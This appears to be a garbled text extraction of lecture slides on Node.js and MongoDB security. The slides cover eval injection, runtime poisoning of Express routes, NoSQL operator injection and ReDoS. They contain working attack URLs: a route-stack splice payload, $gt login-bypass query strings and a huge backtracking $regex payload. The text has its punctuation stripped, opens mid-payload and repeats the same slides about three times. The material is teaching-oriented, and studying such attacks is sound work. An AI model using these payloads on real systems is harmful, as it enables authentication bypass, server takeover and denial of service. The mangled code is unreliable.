d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
